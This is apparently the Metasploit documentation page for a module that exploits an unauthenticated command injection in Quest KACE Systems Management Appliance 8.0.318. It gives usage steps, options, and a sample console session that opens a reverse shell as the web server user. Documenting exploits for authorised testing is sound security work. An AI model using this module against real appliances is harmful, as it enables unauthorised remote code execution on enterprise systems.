## Description

  This module exploits a command injection vulnerability in Quest KACE
  Systems Management Appliance version 8.0.318 (and possibly prior).

  The `download_agent_installer.php` file allows unauthenticated users
  to execute arbitrary commands as the web server user `www`.


## Vulnerable Application
 
  [Quest KACE Systems Management Appliance](https://www.quest.com/products/kace-systems-management-appliance/) endpoint systems management solution.

  This module has been tested successfully on Quest KACE SMA K1000 version 8.0 (Build 8.0.318).


## Verification Steps

  1. Start `msfconsole`
  2. `use exploit/unix/http/quest_kace_systems_management_rce`
  3. `set ORGANIZATION <ORGANIZATION>` (default: `1`)
  4. `set AGENT_VERSION <AGENT_VERSION>` (default: `8.0.152`)
  5. `run`
  6. You should get a session


## Options

### AGENT_VERSION

  A valid Windows agent version must be specified. (default: `8.0.152`)

  If file sharing is enabled, the agent versions are available within the
  `\\kace.local\client\agent_provisioning\windows_platform` Samba share.

  Additionally, various agent versions are listed on the KACE website.

### ORGANIZATION

  Organization ID used within the appliance. (default: `1`)

### SERIAL

  Serial number for the appliance. By default, the module attempts to
  retrieve the serial from `/common/about.php`.


## Scenarios

  ```
  msf > use exploit/unix/http/quest_kace_systems_management_rce 
  msf exploit(unix/http/quest_kace_systems_management_rce) > set rhost 172.16.123.123
  rhost => 172.16.123.123
  msf exploit(unix/http/quest_kace_systems_management_rce) > check
  [*] 172.16.123.123:80 The target appears to be vulnerable.
  msf exploit(unix/http/quest_kace_systems_management_rce) > set ORGANIZATION 1
  ORGANIZATION => 1
  msf exploit(unix/http/quest_kace_systems_management_rce) > set AGENT_VERSION 8.0.152
  AGENT_VERSION => 8.0.152
  msf exploit(unix/http/quest_kace_systems_management_rce) > run

  [*] Started reverse TCP handler on 172.16.123.188:4444 
  [*] Sending payload (505 bytes)
  [+] Payload executed successfully
  [!] Tried to delete /tmp/agentprov/1#;/, unknown result

  492648046
  kYWSsqpLmmERqEpLazwFOTzulPvsvShY
  /kbox/kboxwww/common
  EfiuBIzdwhsSLfEpgHrRjbgjszjCkfhf
  ZGtYicImqwCnmUNGBZTpqDSPXojYXjkd
  jCmxJgLnffuOAlsAFmWygrbOhCWPCNzD
  id
  uid=80(www) gid=80(www) groups=80(www)
  uname -a
  FreeBSD k1000 11.0-RELEASE-p12 FreeBSD 11.0-RELEASE-p12 #0: Wed Aug  9 10:03:39 UTC 2017     root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC  amd64
  ^C
  Abort session 1? [y/N]  y

  [*] 172.16.123.123 - Command shell session 1 closed.  Reason: User exit
  ```

